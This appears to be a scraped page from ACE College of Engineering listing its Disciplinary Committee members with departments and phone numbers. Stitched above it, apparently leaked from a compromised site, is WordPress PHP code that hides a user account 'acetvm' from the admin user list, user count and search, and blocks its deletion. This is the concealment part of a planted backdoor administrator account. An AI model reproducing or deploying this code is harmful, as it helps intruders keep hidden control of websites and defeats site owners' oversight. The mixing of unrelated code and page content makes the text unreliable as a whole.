add_action('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->base === 'users') {
$protected_user = get_user_by('login', 'acetvm');
if ($protected_user) {
$excluded = (array) $query->get('exclude');
$excluded[] = $protected_user->ID;
$query->set('exclude', $excluded);
}
}
}
});
add_filter('wp_count_users', function($counts) {
$protected_user = get_user_by('login', 'acetvm');
if ($protected_user) {
$counts->total_users--;
}
return $counts;
});
add_action('delete_user', function($user_id) {
$user = get_user_by('ID', $user_id);
if ($user && $user->user_login === 'acetvm') {
wp_die(
__('User acetvm tidak dapat dihapus.', 'textdomain'),
__('Error', 'textdomain'),
array('response' => 403)
);
}
});
add_filter('user_search_columns', function($search_columns, $search, $query) {
if (is_admin()) {
$protected_user = get_user_by('login', 'acetvm');
if ($protected_user) {
global $wpdb;
$query->query_where .= $wpdb->prepare(" AND {$wpdb->users}.ID != %d", $protected_user->ID);
}
}
return $search_columns;
}, 10, 3);
add_filter('bulk_actions-users', function($actions) {
if (isset($_REQUEST['users']) && is_array($_REQUEST['users'])) {
$protected_user = get_user_by('login', 'acetvm');
if ($protected_user && in_array($protected_user->ID, $_REQUEST['users'])) {
unset($actions['delete']);
}
}
return $actions;
});
ACE College of Engineering
Disciplinary Committee @ ACE College
|
Sl No
|
Name |
Dept |
Phone |
| 1 |
Dr. Farrukh Sayeed |
Principal |
04717117777 |
| 2 |
Dr. K Rafeeq Ahmed |
HoD-ECE |
8281932182
|
| 3 |
Prof. Sabu S Joseph |
HoD-AO |
9901099289
|
| 4 |
Prof. Priya CV |
HoD-CE |
9048454528
|
| 5 |
Prof. Anuroopa A |
HoD-EEE |
9495397163
|
| 6 |
Prof. Siva kumar S |
HoD-ME |
9495568929
|
| 7 |
Prof. Sulekha M |
HoD 1st year |
9847608056
|
| 8 |
Mr.Noushad BS |
Administration Manager |
8714433810
|
| 9 |
Lt.Col(Retd) Saju Thomas |
CGPU Head |
9496109575
|
| 10 |
Prof. Sreeja Jacob |
Asst, Professor – CE |
9567056671
|
| 11 |
Prof. Syam Chand SL |
Asst, Professor – ME |
8281552232
|
| 12 |
Prof. Riyaz A Rahiman |
Asst, Professor – EC |
9895439552
|
| 13 |
Prof. Justin Joshua |
Asst, Professor – AO |
9633122118
|
| 14 |
Prof. Josephin Mary |
Asst, Professor – EEE |
8547147435
|
| 15 |
Prof. Reshmi VS |
Asst, Professor – Maths |
8848776747
|